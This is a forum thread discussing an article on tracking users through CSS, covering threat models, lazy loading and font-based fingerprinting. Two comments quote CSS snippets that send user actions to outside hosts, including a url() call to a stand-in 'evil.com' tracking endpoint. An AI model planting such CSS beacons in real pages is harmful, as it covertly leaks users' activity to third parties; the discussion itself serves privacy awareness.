Tracking Users with CSS (2018)
templarbit.com
Tracking Users with CSS (2018)
1–10 of 18 posts
Re: Tracking Users with CSS (2018)
#2Css is fundamentally breaching the contract by messing in any way whatsoever with content.
Re: Tracking Users with CSS (2018)
#3Css is fundamentally breaching the contract by messing in any way whatsoever with content.
You can still do this
input[type="button"]:active { background-image: url('http://www.google-analytics.com/collect?v=1&_v=j23&a=...'); }
https://www.smashingmagazine.com/2014/10/css-only-solution-f...
Re: Tracking Users with CSS (2018)
#4I like the idea of loading all linked content at page load time.
Re: Tracking Users with CSS (2018)
#5This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have.
Also, as an aside:
> For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows
I’m pretty sure that Safari has stopped allowing the use of third party fonts for exactly this reason, and now reports a standard set of fonts as being available.
Re: Tracking Users with CSS (2018)
#6I like the idea of loading all linked content at page load time.
That’s bad for mobile - especially if a website has really large images for high-DPI devices. I think you can configure some mobile browsers to always download low-DPI assets to save on bandwidth.
Re: Tracking Users with CSS (2018)
#7I like the idea of loading all linked content at page load time.
By linked I hope that you mean things like images and CSS style-sheets rather than actual links. If so, I totally agree with you, this kind of lazy loading that css utilises is a true privacy nightmare.
Re: Tracking Users with CSS (2018)
#8Previous discussion:
Re: Tracking Users with CSS (2018)
#9This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have. Also, as an aside: > For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows I’m…
It's the threat model that the customers they're trying to bring in would care about.
Re: Tracking Users with CSS (2018)
#10This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have. Also, as an aside: > For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows I’m…
You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url("https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?